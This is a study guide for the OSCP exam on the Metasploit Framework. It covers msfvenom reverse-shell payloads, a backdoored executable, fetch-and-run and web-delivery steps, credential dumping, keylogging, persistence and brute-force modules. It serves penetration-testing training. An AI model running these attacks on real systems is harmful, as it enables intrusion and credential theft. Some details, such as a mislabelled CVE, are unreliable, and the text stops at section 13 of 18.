Domain 5Pivoting & MetasploitADVANCED

The Metasploit Framework - OSCP Study Guide

Study notes for The Metasploit Framework - OSCP Study Guide covering key PEN-200 methodology and lab techniques.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-05
#The Metasploit Framework#PEN-200

The Metasploit Framework - OSCP Study Guide

Author: OSCP Research Guide | Last Updated: 2026-08-31 Target: OSCP Exam Candidates | Difficulty: Intermediate


Table of Contents

  1. Metasploit Architecture and Components
  2. Installation and Setup
  3. msfconsole Navigation
  4. Module Types
  5. Searching for Modules
  6. Setting Options
  7. Exploit Development with Metasploit
  8. Payload Types
  9. msfvenom Mastery
  10. Meterpreter Deep Dive
  11. Post-Exploitation Modules
  12. Auxiliary Modules
  13. Database Integration
  14. Workspace Management
  15. Resource Scripts
  16. Metasploit in OSCP Exam Context
  17. When to Use vs When to Avoid Metasploit
  18. Quick Reference Cheat Sheet

1. Metasploit Architecture and Components

1.1 What is Metasploit?

  • Open-source penetration testing framework
  • Developed by Rapid7
  • Written primarily in Ruby
  • Provides exploit development, testing, and security research capabilities
  • The most widely used penetration testing framework in the industry

1.2 Architecture Overview

graph TB
    subgraph "User Interface Layer"
        A[msfconsole<br/>CLI Interface]
        B[Armitage<br/>GUI Interface]
        C[msfvenom<br/>Payload Generator]
    end

    subgraph "Core Framework"
        D[Module Manager]
        E[Session Manager]
        F[Database Manager]
        G[Exploit Engine]
    end

    subgraph "Module Types"
        H[Exploits]
        I[Payloads]
        J[Auxiliary]
        K[Post]
        L[Encoders]
        M[Nops]
    end

    subgraph "External Services"
        N[PostgreSQL<br/>Database]
        O[Target Systems]
    end

    A --> D
    B --> D
    C --> G
    D --> H
    D --> I
    D --> J
    D --> K
    D --> L
    D --> M
    D --> E
    D --> F
    G --> O
    E --> O
    F --> N

1.3 Core Components

Component Description OSCP Relevance
msfconsole Primary CLI interface for interacting with Metasploit High - Main entry point
msfvenom Standalone payload generator (merged msfpayload + msfencode) High - Custom payload creation
msfcli Legacy CLI (deprecated, replaced by msfconsole) Low - Historical knowledge
PostgreSQL Database backend for storing scan results, hosts, services Medium - Organizing recon data
Meterpreter Advanced in-memory payload with extensive post-exploitation Critical - Post-exploitation
Metasm Shellcode generation and assembly framework Medium - Understanding payloads

1.4 Directory Structure

/opt/metasploit-framework/
├── core/              # Core framework code
├── data/              # Data files (wordlists, etc.)
├── docs/              # Documentation
├── external/          # External resources
├── lib/               # Ruby libraries
├── modules/           # All exploit modules
│   ├── exploit/       # Exploit modules
│   ├── payload/       # Payload modules
│   ├── auxiliary/     # Auxiliary modules
│   ├── post/          # Post-exploitation modules
│   ├── encoder/       # Encoder modules
│   └── nop/           # NOP generator modules
├── plugins/           # Plugin modules
└── scripts/           # Utility scripts

2. Installation and Setup

2.1 Kali Linux (Pre-installed)

Kali comes with Metasploit pre-installed. Verify and update:

# Check version
msfconsole --version

# Update Metasploit
sudo apt update
sudo apt install metasploit-framework

# Update modules
sudo msfdb init

2.2 Standalone Installation (Linux)

# Method 1: Package manager
sudo apt update
sudo apt install metasploit-framework

# Method 2: Installer script
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall

2.3 Database Setup

# Initialize PostgreSQL database
sudo msfdb init

# Start database service
sudo msfdb start

# Stop database service
sudo msfdb stop

# Re-initialize (if corrupted)
sudo msfdb reinit

2.4 Verifying Installation

# Check msfconsole
msfconsole --version

# Check msfvenom
msfvenom --version

# Check database connection
msfconsole
msf6 > db_status
# Expected: [*] postgresql selected - no connection OR
#           [*] postgresql connected to db_name

2.5 Common Setup Issues

Issue Solution
PostgreSQL not starting sudo systemctl start postgresql
Database connection failed `sudo msfdb reinit
Ruby version mismatch Use system Ruby or rvm
Module load errors sudo msfupdate
Permission denied Run with appropriate privileges

3. msfconsole Navigation

3.1 Launching msfconsole

# Basic launch
msfconsole

# Launch with quiet mode (no banner)
msfconsole -q

# Launch and run a resource script
msfconsole -r /path/to/script.rc

# Launch with specific database
msfconsole -d

3.2 Core Navigation Commands

Command Description Example
help Display help menu help
exit / quit Exit msfconsole exit
back Go back one level back
clear Clear the screen clear
cls Clear the screen (alias) cls
irb Enter Ruby IRB mode irb
version Show Metasploit version version

3.3 Module Navigation Hierarchy

graph LR
    A[msf6 &gt;] -->|use module| B[msf6 exploit(name) &gt;]
    B -->|back| A
    B -->|set options| C[Configure]
    C -->|exploit/run| D[Execute]
    D -->|session opened| E[Meterpreter/Shell]
    E -->|background| F[msf6 &gt;]
    F -->|sessions -i| E

3.4 Essential Workflow

# Step 1: Search for a module
msf6 > search type:exploit platform:windows smb

# Step 2: Select a module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Step 3: View module information
msf6 exploit(ms17_010_eternalblue) > info

# Step 4: Show required options
msf6 exploit(ms17_010_eternalblue) > show options

# Step 5: Set required options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.10
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5

# Step 6: Show payload options
msf6 exploit(ms17_010_eternalblue) > show payloads

# Step 7: Run the exploit
msf6 exploit(ms17_010_eternalblue) > exploit
# or
msf6 exploit(ms17_010_eternalblue) > run

4. Module Types

4.1 Module Types Overview

graph TB
    subgraph "Metasploit Modules"
        A[exploit/] -->|Contains| B[Exploit Code]
        C[payload/] -->|Contains| D[Post-Exploitation Code]
        E[auxiliary/] -->|Contains| F[Scan/Enum/Attack Tools]
        G[post/] -->|Contains| H[Post-Exploitation Tasks]
        I[encoder/] -->|Contains| J[Payload Encoders]
        K[nop/] -->|Contains| L[NOP Generators]
    end

4.2 Exploits (exploit/)

Purpose: Take advantage of a vulnerability to gain access.

Field Description
Path exploit/<platform>/<service>/<module_name>
Requires A payload to execute
Output A session (shell or Meterpreter)

Key Concepts:

  • Exploits contain the vulnerability-specific code
  • Must be paired with a compatible payload
  • Platform and architecture must match the target

Example:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.10
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > exploit

4.3 Payloads (payload/)

Purpose: Code that runs on the target after successful exploitation.

Type Description Use Case
Reverse Target connects back to attacker Firewall/NAT traversal
Bind Target opens a listening port Direct access scenarios
Meterpreter Advanced in-memory agent Full post-exploitation
Shell Basic command shell Simple access
Shellcode Raw binary payload Custom exploit dev

Payload Naming Convention:

<platform>/<architecture>/<payload_type>/<connection_type>
Example: windows/x64/meterpreter/reverse_tcp

4.4 Auxiliaries (auxiliary/)

Purpose: Support modules that do not require a payload.

Subcategory Description Examples
Scanner Network/service discovery scanner/portscan/tcp
Brute Credential attacks scanner/ssh/ssh_login
Dos Denial of service dos/tcp/slowloris
Capture Protocol capture server/capture/ftp
Client Client-side attacks client/fuzz/
Report Report generation report/

Example:

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,445,3389
msf6 auxiliary(tcp) > run

4.5 Post-Exploitation (post/)

Purpose: Modules that run after gaining access to a target.

Subcategory Description Examples
Gather Information collection gather/enum_users
Escalate Privilege escalation escalate/getsystem
Manage System management manage/
Persist Persistence mechanisms persist/
Recon Further reconnaissance recon/
Utility General utilities utility/

Example:

msf6 > use post/windows/gather/enum_users
msf6 post(enum_users) > set SESSION 1
msf6 post(enum_users) > run

4.6 Encoders (encoder/)

Purpose: Transform payload bytes to evade detection.

Encoder Description OSCP Relevance
x86/shikata_ga_nai Polymorphic encoder (most common) High
x86/unicode_mixed Unicode encoding Medium
x86/cjk CJK character encoding Low
x64/xor_dynamic XOR encoding for x64 Medium

Usage:

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 5 \
  -f exe \
  -o payload.exe

4.7 Nops (nop/)

Purpose: Generate NOP sleds for exploit reliability.

  • NOP (No Operation) instructions pad exploit buffers
  • Increase the chance of execution landing in shellcode
  • Common on OSCP for buffer overflow tuning
msf6 > use exploit/windows/fileformat/textfile_template_injection
msf6 exploit(textfile_template_injection) > show nops

5. Searching for Modules

5.1 Search Command Syntax

# Basic search
search <keyword>

# Search by type
search type:exploit
search type:auxiliary
search type:post
search type:payload

# Search by platform
search platform:windows
search platform:linux

# Search by service
search service:smb
search service:http

# Combined search
search type:exploit platform:windows service:smb

5.2 Search Filters

Filter Description Example
type: Module type type:exploit
platform: Target platform platform:windows
service: Target service service:smb
name: Module name name:eternalblue
author: Module author author:hdm

5.3 Practical Search Examples

# Find all Windows SMB exploits
search type:exploit platform:windows service:smb

# Find all Linux post-exploitation modules
search type:post platform:linux

# Find SSH brute force modules
search ssh brute

# Find Meterpreter payloads
search type:payload meterpreter

# Find privilege escalation modules
search type:post escalate

# Find specific CVE
search CVE-2017-0144

5.4 Using searchsploit (External Tool)

# Search the Exploit-DB database
searchsploit <keyword>

# Search with exact match
searchsploit -m <module_path>

# Example
searchsploit eternalblue
searchsploit -m windows/remote/41892.py

6. Setting Options

6.1 Common Options Reference

Option Description Example Value Required
RHOSTS Remote target host(s) 10.10.10.10 or 10.10.10.0/24 Yes
RHOST Single remote host 10.10.10.10 Sometimes
LHOST Local attacker IP 10.10.14.5 Yes (reverse)
LPORT Local listener port 4444 Yes (reverse)
RPORT Remote target port 445 Sometimes
SRVHOST Server bind address 0.0.0.0 Sometimes
SRVPORT Server listen port 8080 Sometimes
URI HTTP URI path /shell.aspx Sometimes
TARGETURI Target web path /app/ Sometimes
USERNAME Auth username admin Sometimes
PASSWORD Auth password password123 Sometimes
PAYLOAD Payload to use windows/meterpreter/reverse_tcp Yes

6.2 Setting Options

# Set a single option
set RHOSTS 10.10.10.10

# Set multiple options
setg RHOSTS 10.10.10.10
setg LHOST 10.10.14.5

# Set global options (persist across modules)
setg LHOST 10.10.14.5

# Unset an option
unset RHOSTS

# Show all options
show options

# Show advanced options
show advanced

# Show evasion options
show evasion

6.3 set vs setg

Command Scope Persistence Use Case
set Current module only Lost on back Module-specific settings
setg Global (all modules) Persists across modules LHOST, common settings
# Set LHOST globally - applies to all future modules
setg LHOST 10.10.14.5

# Set RHOSTS for current module only
set RHOSTS 10.10.10.10

6.4 Batch Setting Options

# Set all options at once
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Or use a resource script (see Section 15)

7. Exploit Development with Metasploit

7.1 Metasploit Module Structure

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Example Vulnerability',
      'Description'  => %q{
        Description of the vulnerability.
      },
      'Author'       => ['Your Name'],
      'License'      => MSF_LICENSE,
      'Platform'     => 'win',
      'Targets'      =>
        [
          ['Windows Target', { 'Arch' => ARCH_X86, 'Ret' => 0x12345678 }],
        ],
      'Payload'      =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d",
        },
      'DefaultTarget'=> 0
    ))

    register_options([
      Opt::RPORT(80)
    ])
  end

  def check
    # Check if target is vulnerable
    # Return: CheckCode::Vulnerable, CheckCode::Safe, CheckCode::Unknown
  end

  def exploit
    # Exploit logic here
    # connect()
    # send payload
    # handler
  end
end

7.2 Key Module Properties

Property Description Example
Name Module display name "MS17-010 EternalBlue"
Description Detailed description Multi-line string
Author Module author(s) ['hdm']
License License type MSF_LICENSE
Platform Target platform 'win', 'linux', 'unix'
Arch Architecture ARCH_X86, ARCH_X64
Targets Target definitions Array of hashes
Payload Payload constraints Space, BadChars
DefaultTarget Default target index 0
Privileged Whether session is privileged true/false

7.3 Bad Characters

  • Bytes that corrupt the payload during transmission
  • Must be identified and avoided during exploit development
  • Common bad chars: \x00 (null), \x0a (newline), \x0d (carriage return)
'Payload' => {
  'Space'    => 500,      # Available space for payload
  'BadChars' => "\x00\x0a\x0d",  # Characters to avoid
  'StackAdjustment' => -3500,  # Stack adjustment for some exploits
}

7.4 OSCP Relevance

  • OSCP rarely requires writing full modules from scratch
  • Understanding module structure helps with:
    • Customizing existing modules
    • Understanding exploit mechanics
    • Modifying payloads for specific scenarios
    • Writing resource scripts for automation

8. Payload Types

8.1 Payload Classification

graph TB
    subgraph "Payload Types"
        A[Shell] --> A1[Basic command shell]
        B[Meterpreter] --> B1[Advanced in-memory agent]
        C[Shellcode] --> C1[Raw binary for exploits]
    end

    subgraph "Connection Types"
        D[Reverse] --> D1[Target connects to attacker]
        E[Bind] --> E2[Attacker connects to target]
    end

    B --> D
    B --> E
    A --> D
    A --> E

8.2 Reverse Shells

Concept: The target initiates a connection back to the attacker.

Advantage Disadvantage
Bypasses firewalls (outbound allowed) Attacker must be reachable
Works through NAT Requires open port on attacker
Most common in OSCP DNS may block

Common Reverse Payloads:

Payload Platform Architecture
windows/meterpreter/reverse_tcp Windows x86/x64
windows/x64/meterpreter/reverse_tcp Windows x64
linux/x86/meterpreter/reverse_tcp Linux x86
linux/x64/meterpreter/reverse_tcp Linux x64
windows/shell/reverse_tcp Windows x86
linux/x86/shell/reverse_tcp Linux x86

Usage:

# Set reverse payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5      # Your attacker IP
set LPORT 4444             # Your listener port

8.3 Bind Shells

Concept: The target opens a listening port for the attacker to connect.

Advantage Disadvantage
No need for attacker to be reachable Firewall may block inbound
Useful when attacker has no public IP Port must be open on target
Rarely used in OSCP Less reliable

Common Bind Payloads:

Payload Platform
windows/meterpreter/bind_tcp Windows
linux/x86/meterpreter/bind_tcp Linux
windows/shell/bind_tcp Windows

Usage:

set PAYLOAD windows/meterpreter/bind_tcp
set RHOSTS 10.10.10.10
set RPORT 4444    # Port the target will listen on

8.4 Meterpreter

Concept: An advanced payload that runs entirely in memory.

Feature Description
In-memory execution No files written to disk
Multiple transports TCP, HTTP, HTTPS, DNS
Extensible Load additional extensions
Cross-platform Windows, Linux, macOS, etc.
Scriptable Run Ruby scripts

Meterpreter vs Standard Shell:

Feature Meterpreter Standard Shell
File upload/download Yes (upload/download) No
Keylogging Yes No
Screenshots Yes No
Credential dumping Yes No
Port forwarding Yes No
Process migration Yes No
In-memory Yes N/A
Stability High Low

8.5 Shellcode

Concept: Raw binary payload used in exploit development.

# Generate shellcode with msfvenom
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f c           # C format
  -a x86         # Architecture
  --platform windows

# Output example:
# \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30...

Shellcode Formats:

Format Flag Output Format Use Case
-f c C array C/C++ exploits
-f python Python string Python exploits
-f ruby Ruby array Ruby exploits
-f raw Raw binary Direct injection
-f bash Bash echo Bash scripts
-f powershell PowerShell byte array PowerShell exploits

9. msfvenom Mastery

9.1 What is msfvenom?

  • Merged tool combining msfpayload and msfencode
  • Standalone payload generation utility
  • No msfconsole required
  • Critical for OSCP custom payload creation

9.2 Command Syntax

msfvenom [options]

# Core options
-p, --payload      <payload>        Payload to use
-f, --format       <format>         Output format
-e, --encoder      <encoder>        Encoder to use
-i, --iterations   <count>          Encoder iterations
-b, --badchars     <list>           Bad characters
-a, --arch         <arch>           Target architecture
--platform         <platform>       Target platform
-o, --out          <file>           Output file
-s, --space        <size>           Max payload size
-n, --nopsled      <size>           NOP sled size
-k, --keep                     Keep existing payload, inject new
-c, --add-code     <file>           Add custom win32 shellcode
-x, --template     <file>           Template executable

9.3 Payload Generation Examples

Windows Reverse TCP (EXE)

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f exe -o payload.exe

Windows x64 Reverse TCP (EXE)

msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f exe -o payload_x64.exe

Linux Reverse TCP (ELF)

msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f elf -o payload.elf

Windows Reverse TCP (PowerShell)

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f psh-cmd

Windows Reverse TCP (Python)

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f python

Windows Reverse TCP (PHP)

msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f raw > shell.php

Windows Reverse TCP (ASP)

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f asp > shell.asp

Windows Reverse TCP (JSP)

msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f raw > shell.jsp

Windows Reverse TCP (WAR)

msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -f war > shell.war

9.4 Encoding Payloads

# Basic encoding
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 5 \
  -f exe -o encoded_payload.exe

# With bad characters
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 5 \
  -b '\x00\x0a\x0d' \
  -f exe -o encoded_payload.exe

# Multiple encoding passes
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai \
  -i 10 \
  -f raw

9.5 Format Options Reference

Format Flag Extension Use Case
Executable -f exe .exe Windows binary
ELF -f elf .elf Linux binary
DLL -f dll .dll Windows DLL
Raw -f raw N/A Raw bytes
C -f c N/A C source code
Python -f python N/A Python script
PowerShell -f psh-cmd N/A PowerShell one-liner
Bash -f bash N/A Bash script
Ruby -f ruby N/A Ruby script
ASP -f asp .asp IIS web shell
PHP -f raw .php PHP web shell
JSP -f raw .jsp Java web shell
WAR -f war .war Java archive
MSI -f msi .msi Windows installer
VBA -f vba N/A Office macro
XML -f xml N/A XML format

9.6 Custom Payloads with Template

# Use a legitimate executable as template
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.5 LPORT=4444 \
  -x /usr/share/windows-binaries/notepad.exe \
  -k \
  -f exe -o notepad_backdoor.exe

# The -k flag preserves the original functionality
# The -x flag uses the specified executable as template

9.7 Available Encoders

# List all available encoders
msfvenom --list encoders

# List encoders for a specific platform
msfvenom --list encoders | grep x86
Encoder Platform Reliability
x86/shikata_ga_nai x86 High (most used)
x86/unicode_mixed x86 Medium
x86/unicode_upper x86 Medium
x64/xor_dynamic x64 High
cmd/generic_sh Shell Medium
cmd/ifs Shell Low

9.8 msfvenom OSCP Tips

  • Always verify LHOST matches your TUN0 interface IP
  • Use -k flag when templating to preserve original functionality
  • Test payloads in a VM before using on exam targets
  • Keep a library of pre-generated payloads for common scenarios
  • Use encoding when AV detection is suspected

10. Meterpreter Deep Dive

10.1 Getting a Meterpreter Session

# Method 1: Via exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 10.10.10.10
msf6 exploit(ms17_010_eternalblue) > set LHOST 10.10.14.5
msf6 exploit(ms17_010_eternalblue) > exploit

# Method 2: Via handler
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 10.10.14.5
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j -z   # -j = job, -z = auto-session

# Method 3. Upload payload and execute on target

10.2 Basic Meterpreter Commands

Command Description Example
help Show help help
background Background the session background or Ctrl+Z
exit Kill the session exit
getuid Current user getuid
getsystem Attempt privilege escalation getsystem
sysinfo System information sysinfo
ipconfig Network configuration ipconfig
run Run a script/module run post/multi/recon/local_exploit_suggester

10.3 Session Management

# List all active sessions
sessions -l
sessions

# Interact with a specific session
sessions -i 1

# List sessions with details
sessions -v

# Kill a session
sessions -k 1

# Kill all sessions
sessions -K

# Upgrade a shell to Meterpreter
sessions -u 1

10.4 Upgrading a Shell to Meterpreter

# From msfconsole
# If you have a basic shell session (session 1)
sessions -u 1

# Manual upgrade using script meterpreter
# On the target shell:
wget http://10.10.14.5:8080/meterpreter.exe
meterpreter.exe

# Or use the script_meterpreter resource
use exploit/multi/script/web_delivery
set TARGET 2    # Python
set LHOST 10.10.14.5
exploit
# Copy and paste the generated script on the target

10.5 System Enumeration

# Basic system info
sysinfo
getuid
getpid

# User enumeration
getsystem
getprivs

# Network information
ipconfig
route print
netstat -an

# Process listing
ps

# Running services
services

# Scheduled tasks
# (use post modules for detailed enumeration)

10.6 Credential Harvesting

# Method 1: Hashdump (requires SYSTEM)
run post/windows/gather/smart_hashdump

# Method 2: Credential collector
run post/windows/gather/credentials/credential_collect

# Method 3: Mimikatz (requires SYSTEM)
# First load mimikatz
load mimikatz
# Then dump credentials
mimikatz_command -f sam
mimikatz_command -f kerberos
mimikatz_command -f sekurlsa::logonpasswords

# Method 4: Windows credential manager
run post/windows/gather/credentials/windows_credential_manager

# Method 5: Browser credentials
run post/windows/gather/dump_mimikatz

10.7 Keylogging

# Start keylogger
keyscan_start

# Dump captured keystrokes
keyscan_dump

# Stop keylogger
keyscan_stop

# Record keystrokes to file
keyscan_start
# ... wait for activity ...
keyscan_dump > captured_keys.txt

10.8 Screenshot Capture

# Take a screenshot
screenshot

# The screenshot is saved on the attacker machine
# Check the output path in the response

# For more control, use a post module
use post/windows/gather/screenshot
set SESSION 1
run

10.9 File Operations

# --- Navigation ---
cd <directory>          # Change directory
ls                      # List files (Meterpreter)
dir                     # List files (native)
pwd                     # Print working directory

# --- Upload ---
upload <local> <remote>
upload /tmp/script.exe C:\\Windows\\Temp\\script.exe

# --- Download ---
download <remote> <local>
download C:\\Windows\\System32\\config\\SAM .

# --- File manipulation ---
cat <file>              # View file contents
edit <file>             # Edit a file
rm <file>               # Remove a file
mkdir <directory>       # Create directory
search -f <filename>    # Search for files
search -f *.pdf -d C:\\

# --- Execute ---
execute -f <file>       # Execute a file
execute -f cmd.exe -i   # Interactive cmd
execute -H -f calc.exe  # Hidden execution

10.10 Port Forwarding and Pivoting

# --- Local Port Forward ---
# Forward local port to remote host
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd add -l 8080 -p 80 -r 10.10.10.20

# List forwarded ports
portfwd list

# Delete a forwarded port
portfwd del -l 8080

# --- Routing (Pivoting) ---
# Add route to internal network
route add <subnet> <netmask> <session>
route add 10.10.20.0 255.255.255.0 1

# List routes
route

# Delete a route
route del <subnet> <session>
route del 10.10.20.0 1

# --- SOCKS Proxy ---
# Configure SOCKS proxy through Meterpreter
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
set VERSION 4a
run

# Then configure /etc/proxychains4.conf
# proxy_dns
# [ProxyList]
# socks4  127.0.0.1 1080

# Use proxychains with other tools
proxychains nmap -sT -Pn -p 80,445 10.10.20.5

10.11 Process Migration

# List processes
ps

# Migrate to a different process
migrate <PID>
migrate 1234

# Why migrate?
# - Stability (avoid process termination)
# - Privilege (migrate to higher-privilege process)
# - Stealth (migrate to legitimate process)

10.12 Background Sessions

# Background current session
background
# or press Ctrl+Z

# Return to a session
sessions -i 1

# Run exploit as a job (auto-handle sessions)
exploit -j -z

# -j  = run as background job
# -z  = automatically handle new sessions

10.13 Run Scripts (Meterpreter Scripts)

# List available scripts
# (built-in scripts are accessed via run <script_name>)

# Privilege escalation
run getsystem
run post/windows/escalate/getsystem

# Local exploit suggester
run post/multi/recon/local_exploit_suggester

# Hashdump
run post/windows/gather/smart_hashdump

# Gather all info
run post/windows/gather/enum_computers

# Persistence
run persistence -X -i 5 -p 4444 -r 10.10.14.5

# Check for vulnerable services
run post/windows/gather/enum_services

# Enumerate users
run post/windows/gather/enum_users

# Dump browser data
run post/windows/gather/dump_mimikatz

10.14 Meterpreter Extensions

# Load an extension
load <extension_name>

# Common extensions
load kiwi          # Mimikatz integration (most important)
load powershell    # PowerShell integration
load stdapi        # Standard API
load incognito     # Token manipulation
load priv          # Privilege checks
load spartan       # Alternative to Mimikatz

# Unload an extension
unload <extension_name>

# List loaded extensions
# (shown in the Meterpreter prompt)

10.15 PowerShell Integration

# Load PowerShell extension
load powershell

# Execute PowerShell commands
powershell_execute "Get-Process"
powershell_execute "Get-NetUser"
powershell_execute "Invoke-Mimikatz"

# Import PowerShell scripts
powershell_import "/path/to/script.ps1"

11. Post-Exploitation Modules

11.1 Module Path Structure

post/<platform>/<category>/<module_name>

Examples:
post/windows/gather/enum_users
post/linux/gather/enum_users
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

11.2 Windows Post Modules

Information Gathering

Module Description Command
enum_users List local users use post/windows/gather/enum_users
enum_computers List domain computers use post/windows/gather/enum_computers
enum_domain Domain enumeration use post/windows/gather/enum_domain
enum_groups List local groups use post/windows/gather/enum_groups
enum_patches Installed patches use post/windows/gather/enum_patches
enum_services Running services use post/windows/gather/enum_services
smart_hashdump Dump password hashes use post/windows/gather/smart_hashdump
checkpoint_sampler Collect forensic data use post/windows/gather/checkpoint_sampler

Privilege Escalation

Module Description Command
getsystem Attempt to get SYSTEM use post/windows/escalate/getsystem
always_install_elevated MSI elevation use post/windows/escalate/always_install_elevated
bypassuac UAC bypass use post/windows/escalate/bypassuac
ms16_032_secondary_logon Token manipulation use post/windows/escalate/ms16_032_secondary_logon

Credential Access

Module Description Command
dump_mimikatz Mimikatz credential dump use post/windows/gather/dump_mimikatz
credential_collect Collect all credentials use post/windows/gather/credentials/credential_collect
firefox_creds Firefox credentials use post/windows/gather/credentials/firefox_creds
chrome_creds Chrome credentials use post/windows/gather/credentials/chrome_creds

11.3 Linux Post Modules

Information Gathering

Module Description Command
enum_users List users use post/linux/gather/enum_users
enum_kernel Kernel info use post/linux/gather/enum_kernel
enum_apps Installed apps use post/linux/gather/enum_apps
system2 System info use post/linux/gather/system2
auto_system_info Auto system info use post/linux/gather/auto_system_info

Privilege Escalation

Module Description Command
linux/privesc/auto Auto privesc check use post/multi/recon/local_exploit_suggester
linux/kernel/cve_2021_4034 OverlayFS privesc CVE-specific

11.4 Gather Modules

# Universal local exploit suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# This module checks:
# - OS version and patches
# - Installed software
# - Known vulnerabilities
# - Suggests applicable exploits

11.5 Escalation Modules

# Windows: Attempt SYSTEM
use post/windows/escalate/getsystem
set SESSION 1
run

# Windows: UAC Bypass
use post/windows/escalate/bypassuac
set SESSION 1
run

# Linux: Check for privesc vectors
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

12. Auxiliary Modules

12.1 Scanner Modules

TCP Port Scanner

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 21,22,80,443,445,3306,3389,8080,8443
set THREADS 50
run

SMB Version Scanner

use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.10
run

HTTP Title Scanner

use auxiliary/scanner/http/title
set RHOSTS 10.10.10.0/24
set THREADS 50
run

SSH Version Scanner

use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.10.10.10
run

12.2 Brute Forcer Modules

SSH Brute Force

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.10.10.10
set USER_FILE /path/to/usernames.txt
set PASS_FILE /path/to/passwords.txt
set THREADS 10
run

SMB Brute Force

use auxiliary/scanner/smb/smb_login
set RHOSTS 10.10.10.10
set USER_FILE /path/to/usernames.txt
set PASS_FILE /path/to/passwords.txt
set THREADS 10
run

RDP Brute Force

use auxiliary/scanner/rdp/rdp_login
set RHOSTS 10.10.10.10
set USER_FILE /path/to/usernames.txt
set PASS_FILE /path/to/passwords.txt
run

FTP Brute Force

use auxiliary/scanner/ftp/ftp_login
set RHOSTS 10.10.10.10
set USER_FILE /path/to/usernames.txt
set PASS_FILE /path/to/passwords.txt
run

HTTP Basic Auth Brute Force

use auxiliary/scanner/http/http_login
set RHOSTS 10.10.10.10
set URI /admin/
set USER_FILE /path/to/usernames.txt
set PASS_FILE /path/to/passwords.txt
run

12.3 Fuzzer Modules

# HTTP GET request fuzzer
use auxiliary/fuzzers/http/request_uri
set RHOSTS 10.10.10.10
run

# Note: Fuzzers are less commonly used in OSCP
# Focus more on scanners and brute forcers

12.4 Server Modules

SOCKS Proxy

use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
set VERSION 4a
run

Web Delivery (Script Delivery)

use exploit/multi/script/web_delivery
set TARGET 2    # Python
set LHOST 10.10.14.5
set LPORT 4444
exploit
# Copy the generated command to the target

13. Database Integration

13.1 Database Commands

Command Description Example
db_status Check database connection db_status
db_nmap Run nmap and save to DB db_nmap -sV -sC -p- 10.10.10.10
db_hosts List discovered hosts db_hosts
db_services List discovered services db_services
db_vulns List discovered vulnerabilities db_vulns
db_cred List stored credentials db_cred
db_export Export database db_export -f xml -o report.xml
workspace Manage workspaces workspace -a lab1

13.2 Using db_nmap

# Basic scan
db_nmap -sV 10.10.10.10

# Full scan with scripts
db_nmap -sV -sC -p- 10.10.10.10

# Scan a subnet
db_nmap -sV -sC 10.10.10.0/24

# Specific ports
